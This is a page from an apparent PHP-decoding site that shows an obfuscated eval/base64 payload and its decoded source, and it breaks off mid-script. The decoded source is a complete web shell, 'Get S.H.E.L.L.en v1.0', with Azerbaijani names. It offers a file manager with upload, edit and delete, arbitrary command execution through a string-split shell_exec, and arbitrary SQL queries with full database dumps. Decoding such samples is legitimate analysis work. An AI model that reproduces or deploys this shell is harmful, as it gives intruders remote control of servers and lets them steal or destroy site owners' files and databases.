Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?= eval( "?>" . base64_decode( "PD9waHANCnNlc3Npb25fc3RhcnQoKT..

Decoded Output download

None?>b'<?php
session_start();
$baqliFunksiyalar = explode(",", "");
$safeMode = true;
$actions = array("esas","fayl_oxu","phpinfo","sistem_kom","fayl_redakte","fayl_yukle",\'fayl_sil\',\'fayl_yarat\',\'papka_yarat\',\'fayl_sifirla\' , \'papka_sil\',\'fayl_ad_deyish\', \'ziple\' , \'skl\' , \'skl_d_t\' , \'skl_d\', \'fayl_upl\');
$ne = isset($_POST[\'ne\']) && in_array($_POST[\'ne\'],$actions) ? $_POST[\'ne\'] : "esas";



function shifrele($str)
{
	$f = \'bas\';
	$f .= \'e6\';
	$f .= \'4_\';
	$f .= \'e\';
	$f .= \'nc\';
	$f .= \'ode\';
	return $f($str);
}
function deshifrele($str)
{
	$f = \'bas\';
	$f .= \'e6\';
	$f .= \'4_\';
	$f .= \'d\';
	$f .= \'ec\';
	$f .= \'ode\';
	return $f($str);
}
function tookYarat($tAd)
{
	if(isset($_SESSION[$tAd]))
	{
		unset($_SESSION[$tAd]);
	}
	$yeniTook = md5(shifrele(time().rand(1,99999999)));
	$_SESSION[$tAd] = $yeniTook;
	return $yeniTook;
}
function qovluquYaz()
{
	global $default_dir;
	$sonDir = array();
	$umumiHisseler = "";
	$parse = explode("/", $default_dir);

	$ii = 0;
	foreach($parse AS $hisse)
	{
		$ii++;
		$umumiHisseler.=$hisse."/";
		$sonDir[] = "<a href=\'javascript:sehife(\"?qovluq=".urlencode(urlencode(shifrele($umumiHisseler)))."\")\'>".htmlspecialchars(empty($hisse)&&$ii!=count($parse)?\'/\':$hisse)."</a>";
	}
	$sonDir = implode("/", $sonDir);
	print $sonDir . \'&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;( <a href="">Reset</a> | <a href="javascript:goto()">Go to</a> )\';
}
function sizeFormat($bytes)
{
	if($bytes>=1073741824)
	{
		$bytes = number_format($bytes / 1073741824, 2) . \' Gb\';
	}
	else if($bytes>=1048576)
	{
		$bytes = number_format($bytes / 1048576, 2) . \' Mb\';
	}
	else if($bytes>=1024)
	{
		$bytes = number_format($bytes / 1024, 2) . \' Kb\';
	}
	else
	{
		$bytes = $bytes . \' b\';
	}
	return $bytes;
}
function utf8ize($d)
{
	if (is_array($d))
	{
		foreach ($d as $k => $v)
		{
			$d[$k] = utf8ize($v);
		}
	}
	else if (is_string ($d))
	{
		return utf8_encode($d);
	}
	return $d;
}
function rrmdir($dir)
{
	if (is_dir($dir))
	{
		$objects = scandir($dir);

		foreach ($objects as $object)
		{
			if ($object != "." && $object != "..")
			{
				if (is_dir($dir . "/" . $object))
				{
					rrmdir($dir . "/" . $object);
				}
				else
				{
					unlink($dir . "/" . $object );
				}
			}
		}

		rmdir( $dir );
	}
}

$default_dir = getcwd();
if(isset($_POST[\'qovluq\']) && is_string($_POST[\'qovluq\']) )
{
	$default_dir = empty($_POST[\'qovluq\']) ? DIRECTORY_SEPARATOR : deshifrele(urldecode(urldecode($_POST[\'qovluq\'])));
	$c_h_dir_comm = \'c\'.\'hd\'.\'ir\';
	$c_h_dir_comm($default_dir);
}

$default_dir = str_replace("\", "/", $default_dir);

if(isset($_GET[\'ne\']) && $_GET[\'ne\']=="pinf")
{
	ob_start();
	phpinfo();
	$pInf = ob_get_clean();
	print str_replace("body {background-color: #ffffff; color: #000000;}","",$pInf);
	exit();
}
else if($ne=="fayl_yukle" && isset($_POST[\'fayl\']) && ""!=(trim($_POST[\'fayl\'])))
{
	$faylAdi = basename(deshifrele(urldecode($_POST[\'fayl\'])));
	$ayirici = substr($default_dir,strlen($default_dir)-1)!="/" && substr($faylAdi,0,1)!="/" ? "/" : "";
	if(is_file($default_dir . $ayirici . $faylAdi) && is_readable($default_dir . $ayirici . $faylAdi))
	{
		header("Content-Disposition: attachment; filename=".basename($faylAdi));
		header("Content-Type: application/octet-stream");
		header(\'Content-Length: \' . filesize($default_dir . $ayirici . $faylAdi));
		readfile($default_dir . $ayirici . $faylAdi);
		exit();
	}
}
else if($ne=="fayl_sil" && isset($_POST[\'fayl\']) && ""!=(trim($_POST[\'fayl\'])))
{
	$faylAdi = basename(deshifrele(urldecode($_POST[\'fayl\'])));
	$ayirici = substr($default_dir,strlen($default_dir)-1)!="/" && substr($faylAdi,0,1)!="/" ? "/" : "";
	if(is_file($default_dir . $ayirici . $faylAdi) && is_readable($default_dir . $ayirici . $faylAdi))
	{
		unlink($default_dir . $ayirici . $faylAdi);
	}
}
else if($ne=="fayl_sifirla" && isset($_POST[\'fayl\']) && ""!=(trim($_POST[\'fayl\'])))
{
	$faylAdi = basename(deshifrele(urldecode($_POST[\'fayl\'])));
	$ayirici = substr($default_dir,strlen($default_dir)-1)!="/" && substr($faylAdi,0,1)!="/" ? "/" : "";
	if(is_file($default_dir . $ayirici . $faylAdi) && is_readable($default_dir . $ayirici . $faylAdi))
	{
		file_put_contents($default_dir . $ayirici . $faylAdi, \'\');
	}
}
else if($ne=="fayl_yarat" && isset($_POST[\'ad\']) && !empty($_POST[\'ad\']))
{
	$faylAdi = basename(urldecode($_POST[\'ad\']));
	$ayirici = substr($default_dir,strlen($default_dir)-1)!="/" && substr($faylAdi,0,1)!="/" ? "/" : "";
	if( is_file($default_dir . $ayirici . $faylAdi) )
	{
		print \'<script>alert("Bu adda fayl artiq movcuddur!");</script>\';
	}
	else
	{
		file_put_contents($default_dir . $ayirici . $faylAdi, \'\');
	}
}
else if($ne=="papka_yarat" && isset($_POST[\'ad\']) && !empty($_POST[\'ad\']))
{
	$papkaAdi = basename(urldecode($_POST[\'ad\']));
	$ayirici = substr($default_dir,strlen($default_dir)-1)!="/" && substr($papkaAdi,0,1)!="/" ? "/" : "";
	if( is_file($default_dir . $ayirici . $papkaAdi) )
	{
		print \'<script>alert("Bu adda papka artiq movcuddur!");</script>\';
	}
	else
	{
		mkdir($default_dir . $ayirici . $papkaAdi);
	}
}
else if($ne=="fayl_ad_deyish" && isset($_POST[\'fayl\']) && ""!=(trim($_POST[\'fayl\'])) && isset($_POST[\'new_name\']) && is_string($_POST[\'new_name\']) && !empty($_POST[\'new_name\']))
{
	$faylAdi = basename(deshifrele(urldecode($_POST[\'fayl\'])));
	$faylYeniAd = basename(urldecode($_POST[\'new_name\']));
	$ayirici = substr($default_dir,strlen($default_dir)-1)!="/" && substr($faylAdi,0,1)!="/" ? "/" : "";
	if(is_file($default_dir . $ayirici . $faylAdi) && is_readable($default_dir . $ayirici . $faylAdi))
	{
		rename($default_dir . $ayirici . $faylAdi , $default_dir . $ayirici . $faylYeniAd);
	}
}
else if( $ne == \'skl_d_t\' && isset($_POST[\'t\']) && is_string($_POST[\'t\']) && !empty($_POST[\'t\']) )
{
	$tableName = deshifrele(urldecode($_POST[\'t\']));

	$host = isset($_COOKIE[\'host\']) ? $_COOKIE[\'host\'] : \'\';
	$user = isset($_COOKIE[\'user\']) ? $_COOKIE[\'user\'] : \'\';
	$parol = isset($_COOKIE[\'parol\']) ? $_COOKIE[\'parol\'] : \'\';
	$baza = isset($_COOKIE[\'baza\']) ? $_COOKIE[\'baza\'] : \'\';

	$bazaStr = empty($baza) ? \'\' : \'dbname=\' . $baza . \';\';

	if( !empty( $host ) && !empty($baza) )
	{
		try
		{
			$pdo = new PDO(\'mysql:host=\' . $host . \';charset=utf8;\' . $bazaStr , $user , $parol,array(PDO::MYSQL_ATTR_INIT_COMMAND => "SET NAMES \'utf8\'"));
			$pdo->setAttribute(PDO::ATTR_DEFAULT_FETCH_MODE, PDO::FETCH_ASSOC);

			$getColumns = $pdo->prepare("SELECT column_name from information_schema.columns where table_schema=? and table_name=?");
			$getColumns->execute(array($baza , $tableName));
			$columns = $getColumns->fetchAll();

			if( $columns )
			{

				$data = $pdo->query(\'SELECT * FROM `\' . $tableName .\'`\');
				$data = $data->fetchAll();

				header(\'Content-disposition: attachment; filename=d_\' . basename(htmlspecialchars($tableName)) . \'.json\');
				header(\'Content-type: application/json\');
				echo json_encode($data);
			}
			else
			{
				print \'Table not found!\';
			}

		}
		catch (Exception $e)
		{
			print $e->getMessage();
		}
	}
	else
	{
		print \'Error! Please connect to SQL!\';
	}
	die;
}
else if( $ne == \'skl_d\' )
{
	$host = isset($_COOKIE[\'host\']) ? $_COOKIE[\'host\'] : \'\';
	$user = isset($_COOKIE[\'user\']) ? $_COOKIE[\'user\'] : \'\';
	$parol = isset($_COOKIE[\'parol\']) ? $_COOKIE[\'parol\'] : \'\';
	$baza = isset($_COOKIE[\'baza\']) ? $_COOKIE[\'baza\'] : \'\';

	$bazaStr = empty($baza) ? \'\' : \'dbname=\' . $baza . \';\';

	if( !empty( $host ) && !empty($baza) )
	{
		try
		{
			$pdo = new PDO(\'mysql:host=\' . $host . \';charset=utf8;\' . $bazaStr , $user , $parol,array(PDO::MYSQL_ATTR_INIT_COMMAND => "SET NAMES \'utf8\'"));
			$pdo->setAttribute(PDO::ATTR_DEFAULT_FETCH_MODE, PDO::FETCH_ASSOC);

			$allData = array();

			$tables = $pdo->prepare(\'SELECT table_name from information_schema.tables where table_schema=?\');
			$tables->execute(array($baza));
			$tables = $tables->fetchAll();

			foreach( $tables AS $tableName )
			{
				$tableName = $tableName[\'table_name\'];

				$data = $pdo->query(\'SELECT * FROM `\' . $tableName .\'`\');
				$data = $data->fetchAll();

				$allData[$tableName] = $data ? array($data) : array();
			}

			header(\'Content-disposition: attachment; filename=d_b_\' . basename(htmlspecialchars($baza)) . \'.json\');
			header(\'Content-type: application/json\');

			echo json_encode( utf8ize( $allData) );
		}
		catch (Exception $e)
		{
			print $e->getMessage();
		}
	}
	else
	{
		print \'Error! Please connect to SQL!\';
	}
	die;
}
else if( $ne == \'ziple\'
	&& isset($_POST[\'save_to\'] , $_POST[\'zf\']) && is_string($_POST[\'save_to\'])
	&& !empty($_POST[\'save_to\']) && !in_array($_POST[\'save_to\'] , array(\'.\' , \'..\' , \'./\' , \'../\'))
	&& is_string($_POST[\'zf\']) && !empty($_POST[\'zf\'])
)
{
	$save_to = deshifrele(urldecode($_POST[\'save_to\']));

	$rootPath = realpath(deshifrele(urldecode($_POST[\'zf\'])));

	$fileName1 = \'bak_\'.microtime(1) . \'_\' . rand(1000, 99999) . \'.zip\';
	$fileName = $save_to . DIRECTORY_SEPARATOR . $fileName1;

	if( is_dir( $save_to ) && is_dir( $rootPath ) && is_writable( $save_to ) )
	{
		set_time_limit(0);

		$zip = new ZipArchive();
		$zip->open( $fileName , ZipArchive::CREATE | ZipArchive::OVERWRITE );

		$files = new RecursiveIteratorIterator(
			new RecursiveDirectoryIterator($rootPath),
			RecursiveIteratorIterator::LEAVES_ONLY
		);

		foreach ($files as $name => $file)
		{
			if (!$file->isDir())
			{
				$filePath = $file->getRealPath();
				$relativePath = substr($filePath, strlen($rootPath) + 1);

				$zip->addFile($filePath, $relativePath);
			}
		}

		$zip->close();
		print \'Saved!<hr>\';
	}
	else
	{
		print \'Dir is not writeable!<hr>\';var_dump(( $save_to ) );
	}
}
else if( $ne == \'papka_sil\'
	&& isset($_POST[\'zf\']) && is_string($_POST[\'zf\']) && !empty($_POST[\'zf\'])
)
{
	$rootPath = realpath(deshifrele(urldecode($_POST[\'zf\'])));

	if( is_dir( $rootPath ) )
	{
		set_time_limit(0);

		rrmdir( $rootPath );
	}
	else
	{
		print \'Dir is not writeable!<hr>\';var_dump(( $save_to ) );
	}
}
else if($ne == \'fayl_upl\' && isset($_FILES[\'ufayl\']))
{
	move_uploaded_file($_FILES[\'ufayl\'][\'tmp_name\'], $default_dir . \'/\' . $_FILES[\'ufayl\'][\'name\']);
	print "Upload oldu deyesen.";
}
?>
<html>
<head>
<title>Get S.H.E.L.L.en v1.0 | BY ..</title>
<meta http-equiv="content-type" content="text/html; charset=utf-8">
<style>
body
{
	background-color: #222222;
	color: #D6D4D4;
	font-family: Lucida,Verdana;
	font-size: 12px;
}
.qalin
{
	text-decoration: none;
	color: #D6905E;
	font-weight: 600;
}
.success
{
	color: #9DB754;
}
.bad
{
	color: #B75654;
}
a
{
	color: #ACB754;
	text-decoration: none !important;
}
.fManager,.fManager tbody,.fManager tr
{
	padding: 0;
	border-collapse: collapse;
	margin: 0;
	font-size: 12px;
}
.fManager
{
	margin: 10px 0;
}
.fManager tbody tr:nth-child(2n+1)
{
	background: #331717;
}
.fManager tbody tr:nth-child(2n)
{
	background: #1C0C0C;
}
.fManager tbody tr:hover
{
	background: #000000;
}
.fManager thead th
{
	text-align: left;
}
.fManager thead tr
{
	background-color: #333333;
}
.fManager
{
	box-shadow: 1px 1px 1px 1px #333333;
}
.fManager thead th
{
	padding: 4px 3px;
}
.fayl_oxu
{
	margin: 5px 0;
	padding: 2px;
	box-shadow: 1px 1px 1px 1px #333333;
	background-color: #E1E1E1;
	width: 100%;
	height: 400px;
	overflow: auto;
}
.btn
{
	border: 1px solid #ACAE40;
	background-color: #223B3B;
	color: #E1E1E1;
	padding: 1px 10px;
	cursor: pointer;
}
.btn:disabled
{
	border: 1px solid #848484;
	color: #848484;
	cursor: not-allowed;
}
.file_edit
{
	margin: 5px 0;
	padding: 2px;
	box-shadow: 1px 1px 1px 1px #333333;
	background-color: #E1E1E1;
	width: 100%;
	height: 400px;
	overflow: auto;
}
input, select, textarea
{
	background: transparent !important;
	color: #f6a56d;
	border: 1px solid #D6905E;
	padding: 5px;
}
table td
{
	border: 1px solid rgba(214, 144, 94, 0.7);
	min-width: 20px;
	padding-left: 5px;
	padding-right: 5px;
	max-width: 500px;
	color: #ffad6f;
	background: #292929;
}
table th
{
	border: 1px solid #D6905E;
	padding-left: 5px;
	padding-right: 5px;
	color: #ffad6f;
}
table td div
{
	overflow: auto;
	width: 100%;
	height: 100%;
	max-height: 100px;
}
</style>
</head>
<body>
<?php

if(function_exists(\'posix_getegid\'))
{
	$qid = posix_getgrgid(posix_getegid());
	$qrup = $qid[\'name\'];
	print "<span class=\'qalin\'>Uname:</span> " . php_uname() . "<br/>";
	print "<span class=\'qalin\'>User:</span> ".getmyuid()." (".get_current_user().")<br/>";
	print "<span class=\'qalin\'>Group:</span> ".getmygid()." (".$qrup.")<br/>";
}
else
{
	print "<span class=\'qalin\'>Uname:</span> " . php_uname() . "<br/>";
	print "<span class=\'qalin\'>User:</span> ".getmyuid()." (".get_current_user().")<br/>";
	print "<span class=\'qalin\'>Group:</span> ".getmygid()."<br/>";
}
print "<span class=\'qalin\'>Disable functions:</span> " . (implode(", ", $baqliFunksiyalar)==""?"<span class=\'success\'>yoxdu :)":"<span class=\'bad\'>". implode(", ", $baqliFunksiyalar)) . "</span><br/>";
print "<span class=\'qalin\'>Safe mode: </span>" . ($safeMode===true?"<span class=\'bad\'>On":"<span class=\'success\'>Off") . "</span><span style=\'margin-left: 50px;\'><a href=\'javascript:sehife(\"?ne=phpinfo\")\'>[ PHPinfo ]</a></span><br/>";
qovluquYaz();
print \'<hr>\';
if($ne=="phpinfo")
{
	print "<div style=\'width: 100%; height: 400px;\'><iframe src=\'?ne=pinf\' style=\'width: 100%; height: 400px; border: 0;\'></iframe></div>";
}
else if($ne=="sistem_kom")
{
	if( isset( $_POST[\'kom\'] ) && is_string($_POST[\'kom\']) && !empty($_POST[\'kom\']) )
	{
		$komanda = deshifrele(urldecode($_POST[\'kom\']));
		
		$k = \'sh\';
		$k.=\'el\';
		$k.=\'l_e\';
		$k.=\'xe\';
		$k.=\'c\';

		$output = $k($komanda);

		print \'<pre style="max-height: 350px;overflow: auto; border: 1px solid #777; padding: 5px;">\' . htmlspecialchars($output) . \'</pre><hr>\';
	}
	print \'<input type="text" id="emr_et_atash" style="width: 500px;"> <button type="button" class="btn" onclick="sistemKom();">Bas</button>\';
}
else if($ne=="fayl_oxu" && isset($_POST[\'fayl\']) && ""!=(trim($_POST[\'fayl\'])))
{
	$faylAdi = basename(deshifrele(urldecode($_POST[\'fayl\'])));
	$ayirici = substr($default_dir,strlen($default_dir)-1)!="/" && substr($faylAdi,0,1)!="/" ? "/" : "";
	if(is_file($default_dir . $ayirici . $faylAdi) && is_readable($default_dir . $ayirici . $faylAdi))
	{
		$elaveBtn = is_writeable($default_dir . $ayirici . $faylAdi) ? " onclick=\'sehife(\"?ne=fayl_redakte&fayl=".urlencode(urlencode(shifrele($faylAdi)))."&qovluq=".urlencode(urlencode(shifrele($default_dir)))."\")\'" : " disabled";
		print "<div>Fayl ad&#305;: <span class=\'qalin\'>".htmlspecialchars($faylAdi)."</span><br/><button class=\'btn\'$elaveBtn> D&#601;yi&#351; </button></div>";
		print "<div class=\'fayl_oxu\'>".highlight_string(file_get_contents($default_dir . $ayirici . $faylAdi), true)."</div>";
	}
}
else if($ne == \'skl\')
{
	$host = isset($_COOKIE[\'host\']) ? $_COOKIE[\'host\'] : \'\';
	$user = isset($_COOKIE[\'user\']) ? $_COOKIE[\'user\'] : \'\';
	$parol = isset($_COOKIE[\'parol\']) ? $_COOKIE[\'parol\'] : \'\';
	$baza = isset($_COOKIE[\'baza\']) ? $_COOKIE[\'baza\'] : \'\';

	if( isset($_POST[\'host\'] , $_POST[\'user\'] , $_POST[\'parol\'])
		&& is_string($_POST[\'host\']) && is_string($_POST[\'user\']) && is_string($_POST[\'parol\'])
	)
	{
		$host = $_POST[\'host\'];
		$user = $_POST[\'user\'];
		$parol = $_POST[\'parol\'];
		$baza = \'\';

		setcookie(\'host\' , $host , time() + 360000);
		setcookie(\'user\' , $user , time() + 360000);
		setcookie(\'parol\' , $parol , time() + 360000);
		setcookie(\'baza\' , $baza , time() + 360000);
	}

	if( isset($_POST[\'baza\']) && is_string($_POST[\'baza\']) )
	{
		$baza = $_POST[\'baza\'];

		setcookie(\'baza\' , $baza , time() + 360000);
	}

	$bazaStr = empty($baza) ? \'\' : \'dbname=\' . $baza . \';\';

	?>
	<form method="POST">
		<input type="hidden" name="ne" value="skl">
		<input type="text" placeholder="Hostname" name="host" value="<?=htmlspecialchars($host)?>">
		<input type="text" placeholder="User" name="user" value="<?=htmlspecialchars($user)?>">
		<input type="text" placeholder="Parol" name="parol" value="<?=htmlspecialchars($parol)?>">
		<input type="submit" value="Daxil ol">
	</form>
	<?php
	if( !empty( $host ) )
	{
		try
		{
			$pdo = new PDO(\'mysql:host=\' . $host . \';charset=utf8;\' . $bazaStr , $user , $parol,array(PDO::MYSQL_ATTR_INIT_COMMAND => "SET NAMES \'utf8\'"));
			$pdo->setAttribute(PDO::ATTR_DEFAULT_FETCH_MODE, PDO::FETCH_ASSOC);

			$schematas = $pdo->query(\'SELECT schema_name FROM information_schema.schemata\');
			print \'<form method="POST"><input type="hidden" name="ne" value="skl"><select name="baza">\';
			foreach($schematas->fetchAll() AS $schemaName)
			{
				print \'<option\' . ($baza == $schemaName[\'schema_name\'] ? \' selected\' : \'\') . \'>\'.htmlspecialchars($schemaName[\'schema_name\']).\'</option>\';
			}
			print \'</select> <input type="submit" value="Sech!"></form>\';

			if( !empty($baza) )
			{
				$tables = $pdo->prepare(\'SELECT table_name from information_schema.tables where table_schema=?\');
				$tables->execute(array($baza));
				$tables = $tables->fetchAll();

				print \'<div style="float: left; width: 20%; overflow: auto; border-right: 1px solid #999;">\';
				print \'<a href="javascript:sehife(\'?ne=skl_d\');">!! Dump DB !!</a><hr>\';
				foreach( $tables AS $tableName )
				{
					$tableName = $tableName[\'table_name\'];
					print \'<a href="javascript:sehife(\'?ne=skl&t=\' . urlencode(urlencode(shifrele($tableName))) . \'\')">\'.htmlspecialchars($tableName).\'</a><br>\';
				}
				print \'</div>\';
				print \'<div style="float: left; padding-left: 10px; width: 75%;">\';

				if( isset($_POST[\'t\']) && is_string($_POST[\'t\']) && !empty($_POST[\'t\']) )
				{
					$tableName = deshifrele(urldecode($_POST[\'t\']));
					print \'<span class="qalin">Table:</span> \' . htmlspecialchars($tableName) . \' ( <a href="javascript:sehife(\'?ne=skl_d_t&t=\'.urlencode(urlencode(shifrele($tableName))).\'\')">Dump</a> )<br>\';

					$getColumns = $pdo->prepare("SELECT column_name from information_schema.columns where table_schema=? and table_name=?");
					$getColumns->execute(array($baza , $tableName));
					$columns = $getColumns->fetchAll();

					if( $columns )
					{
						$dataCount = $pdo->query(\'SELECT count(0) AS ss from `\' . $tableName . \'`\');
						$dataCount = (int)$dataCount->fetchColumn();

						print \'<span class="qalin">Count:</span> \' . $dataCount . \'<br><br>\';

						$pages = ceil($dataCount / 100);

						$currentPage = isset($_POST[\'sehife\']) && is_numeric($_POST[\'sehife\']) && $_POST[\'sehife\'] >= 1 && $_POST[\'sehife\'] <= $pages ? (int)$_POST[\'sehife\'] : 1;

						for (  $p = 1; $p <= $pages; $p++ )
						{
							print \'<a style="\'.($currentPage == $p ? \'background: #444;\' : \'\').\'margin-left: 2px; margin-bottom: 5px; padding: 2px 6px; border: 1px solid #ACB754; text-decoration: none;" href="javascript:sehife(\'?ne=skl&t=\' . urlencode(urlencode(shifrele($tableName))) . \'&sehife=\' . $p . \'\');">\' . $p . \'</a> \';
						}
						print \'<br><br>\';

						$start = 100 * ($currentPage - 1);

						$data = $pdo->query(\'SELECT * FROM `\' . $tableName .\'` LIMIT \'.$start.\' , 100\');
						$data = $data->fetchAll();
						print \'<table><thead>\';

						foreach( $columns AS $columnInf )
						{
							print \'<th>\' . htmlspecialchars($columnInf[\'column_name\']) . \'</th>\';
						}

						print \'</thead><tbody>\';

						foreach( $data AS $row )
						{
							print \'<tr>\';
							foreach( $row AS $key=>$val )
							{
								print \'<td><div>\' . $val . \'</div></td>\';
							}
							print \'</tr>\';
						}
						print \'</tr></tbody></table>\';
					}
					else
					{
						print \'Table not found!\';
					}
				}
				else if ( isset($_POST[\'emr\']) && is_string($_POST[\'emr\']) && !empty($_POST[\'emr\']) )
				{
					$emr = deshifrele(urldecode($_POST[\'emr\']));
					print \'<span class="qalin">SQL emr:</span> \' . htmlspecialchars($emr) . \'<br>\';
					
					$data = $pdo->query( $emr );
					$data = $data->fetchAll();
					
					print \'<table><thead>\';
					if( count($data) > 0 )
					{
						print \'<tr>\';
						foreach( $data[0] AS $key=>$val )
						{
							print \'<th><div>\' . $key . \'</div></th>\';
						}
						print \'</tr>\';
					}
					print \'</thead><tbody>\';
					
					foreach( $data AS $row )
					{
						print \'<tr>\';
						foreach( $row AS $key=>$val )
						{
							print \'<td><div>\' . $val . \'</div></td>\';
						}
						print \'</tr>\';
					}
					print \'</tr></tbody></table>\';
				}
				
				print \'<div><textarea id="skl_emr"></textarea><button type="button" onclick="skl_bas();">Bas mene</button></div>\';
				
				print \'</div>\';
				print \'<div style="clear: both;"></div>\';
			}
		}
		catch (Exception $e)
		{
			print $e->getMessage();
		}
	}
}
else if($ne=="fayl_redakte" && isset($_POST[\'fayl\']) && ""!=(trim($_POST[\'fayl\'])))
{
	$faylAdi = basename(deshifrele(urldecode(urldecode($_POST[\'fayl\']))));
	$ayirici = substr($default_dir,strlen($default_dir)-1)!="/" && substr($faylAdi,0,1)!="/" ? "/" : "";
	if(is_file($default_dir . $ayirici . $faylAdi) && is_readable($default_dir . $ayirici . $faylAdi))
	{
		$status = "";
		if(isset($_POST[\'content\']) && isset($_POST[\'took\']) && $_POST[\'took\']!="" && isset($_SESSION[\'ys_took\']) && $_SESSION[\'ys_took\']==$_POST[\'took\'] && is_writeable($default_dir . $ayirici . $faylAdi))
		{
			unset($_SESSION[\'ys_took\']);
			$content = $_POST[\'content\'];

			$cc =  array(\'a\',\'i\',\'e\',\'s\',\'l\',\'b\',\'u\',\'o\',\'p\',\'h\',"(",")","<",">","?",";","[","]","$");
			foreach($cc AS $k1=>$v1)
			{
				$content = str_replace(\'|:\'.$k1.\':|\' , $v1 , $content);
			}

			$faylAch = fopen($default_dir . $ayirici . $faylAdi, "w+");
			fwrite($faylAch, $content);
			fclose($faylAch);
			$status = " <span class=\'qalin\'>U&#287;urla yadda saxlan&#305;ld&#305;!</span>";
		}
		$oxuUrl = "?ne=fayl_oxu&fayl=".urlencode(urlencode(shifrele($faylAdi)))."&qovluq=".urlencode(urlencode(shifrele($default_dir)));
		$elaveBtn = is_writeable($default_dir . $ayirici . $faylAdi) ? "" : " disabled";
		print "<div>Fayl ad&#305;: <a class=\'qalin\' href=\'javascript:sehife(\"{$oxuUrl}\")\'>".htmlspecialchars($faylAdi)."</a><br/><form method=\'POST\' style=\'padding: 0; margin: 0;\'><button type=\'submit\' class=\'btn\'$elaveBtn> Yadda saxla </button> <button type=\'button\' onclick=\'shifrelee()\'> Shifrele atash </button> $status</div>";
		print "<input type=\'hidden\' value=\'fayl_redakte\' name=\'ne\'><input type=\'hidden\' value=\'".shifrele($faylAdi)."\' name=\'fayl\'><input type=\'hidden\' value=\'".urlencode(shifrele($default_dir))."\' name=\'qovluq\'><input type=\'hidden\' value=\'".tookYarat("ys_took")."\' name=\'took\'><textarea name=\'content\' class=\'file_edit\'>".htmlspecialchars(file_get_contents($default_dir . $ayirici . $faylAdi))."</textarea></form>";
	}
	else
	{
		print \'Error! \' .  htmlspecialchars($default_dir . $ayirici . $faylAdi);
	}
}
else
{
	if(is_dir($default_dir))
	{
		if(is_readable($default_dir))
		{
			$qovluqIchi = scandir($default_dir);
			foreach($qovluqIchi AS &$emelemnt)
			{
				$ayirici = substr($default_dir,strlen($default_dir)-1)!="/" && substr($emelemnt,0,1)!="/" ? "/" : "";
				if(is_dir($default_dir . $ayirici . $emelemnt))
				{
					$emelemnt = "0".$emelemnt;
				}
				else
				{
					$emelemnt = "1".$emelemnt;
				}
			}
			asort($qovluqIchi);
			print "<table class=\'fManager\' style=\'width: 100%;\'><thead><tr class=\'qalin\'><th>s</th><th>Fayl</th><th>Size</th><th>Tarix</th><th>Owner/Group</th><th>Permissions</th><th>Actions</th></tr></thead><tbody>";
			foreach($qovluqIchi AS $element)
			{
				$url = "";
				$element = substr($element,1);
				$faylAdiTam = $default_dir . $ayirici . $element;
				$ayirici = substr($default_dir,strlen($default_dir)-1)!="/" && substr($element,0,1)!="/" ? "/" : "";
				$adi = is_dir($faylAdiTam) ? "[ $element ]" : $element;
				$classN = "";
				if(is_dir($faylAdiTam))
				{
					if($element==".")
					{
						$url = "?qovluq=".urlencode(urlencode(shifrele($default_dir)));
					}
					else if($element=="..")
					{
						$yeniUrl = explode("/",$default_dir);
						foreach(array_reverse($yeniUrl) AS $j=>$qq)
						{
							if(trim($qq)!="")
							{
								unset($yeniUrl[count($yeniUrl)-$j-1]);
								break;
							}
						}
						$url = "?qovluq=".urlencode(urlencode(shifrele(implode("/",$yeniUrl))));
					}
					else
					{
						$url = "?qovluq=".urlencode(urlencode(shifrele($faylAdiTam)));
					}
					$classN = " style=\'font-weight: 600;\'";
				}
				else
				{
					$url = "?ne=fayl_oxu&fayl=".urlencode(urlencode(shifrele($element)))."&qovluq=".urlencode(urlencode(shifrele($default_dir)));
				}
				$fayldi = is_file($faylAdiTam);
				$isReadableColor = is_readable( $faylAdiTam ) && is_writeable( $faylAdiTam );
				print \'<tr>
						<td></td>
						<td><a href="javascript:sehife(\'\'.$url.\'\')"\'.$classN.\'>\'.htmlspecialchars($adi).\'</a></td>
						<td>\' . ($fayldi?sizeFormat(filesize($faylAdiTam)):\'\') . \'</td>
						<td>\' . (date(\'d M Y, H:i\' , filectime($faylAdiTam))) . \'</td>
						<td>\' . htmlspecialchars(fileowner($faylAdiTam)) . \'</td>
						<td\' . ($isReadableColor?\' style="color: green;"\':\'\') . \'>\' . substr(sprintf(\'%o\', fileperms(( $faylAdiTam ))), -4) . \'</td>
						<td>\';
						if( is_file($faylAdiTam) )
						{
							print (\' <a href="javascript:sehife(\'\'.str_replace("fayl_oxu","fayl_yukle",$url).\'\')"\'.$classN.\'>Download</a> | \') .
								(\' <a href="javascript:changeFileName(\'\' . htmlspecialchars($adi) . \'\' , \'\'.str_replace("fayl_oxu","fayl_ad_deyish",$url).\'\');"\'.$classN.\'>Rename</a> | \') .
								(\' <a href="javascript:faylSifirla(\'\'.str_replace("fayl_oxu","fayl_sifirla",$url).\'\');"\'.$classN.\'>Truncate</a> | \') .
								(\' <a href="javascript:faylSil(\'\'.str_replace("fayl_oxu","fayl_sil",$url).\'\')"\'.$classN.\'>Delete</a>\');
						}
						else if( $adi != \'[ . ]\' && $adi != \'[ .. ]\' )
						{
							print (\' <a href="javascript:ziple(\'\' . urlencode(urlencode(shifrele($faylAdiTam))) . \'\')"\'.$classN.\'>Zip</a> | \') .
								(\' <a href="javascript:silPapka(\'\' . urlencode(urlencode(shifrele($faylAdiTam))) . \'\')"\'.$classN.\'>Sil</a>\');
						}
						print \'</td>
					</tr>\';
			}
		}
		else
		{
			print "<div style=\'margin: 10px 0px;\' class=\'qalin\'>Permissions denided!</div>";
		}
	}
}
print "</tbody></table>";
?>

<hr>
<a href="javascript:newFile();">Yeni fayl</a> | <a href="javascript:newPapka();">Yeni papka</a><br>
<a href="javascript:sehife(\'?ne=sistem_kom&qovluq=<?=urlencode(urlencode(shifrele($default_dir)))?>\')">Icra edin</a><br>
<a href="javascript:sehife(\'?ne=skl\');">SQL</a><br>

<form method="POST" enctype="multipart/form-data">
	<input type="hidden" name="ne" value="fayl_upl">
	<input type="hidden" name="qovluq" value="<?=urlencode(shifrele($default_dir))?>">
	<input type="file" name="ufayl">
	<input type="submit" value="Upl">
</form>

<form method="POST" id="post_form" style="display: none;"></form>
<script>
function sehife(url)
{
	var inputlar = "";
	url = url.split("?");
	if(typeof url[1]=="undefined") return;
	url = url[1].split("&");
	for(var n in url)
	{
		var keyAndValue = url[n].split("=");
		if(typeof keyAndValue[1]=="undefined") continue;
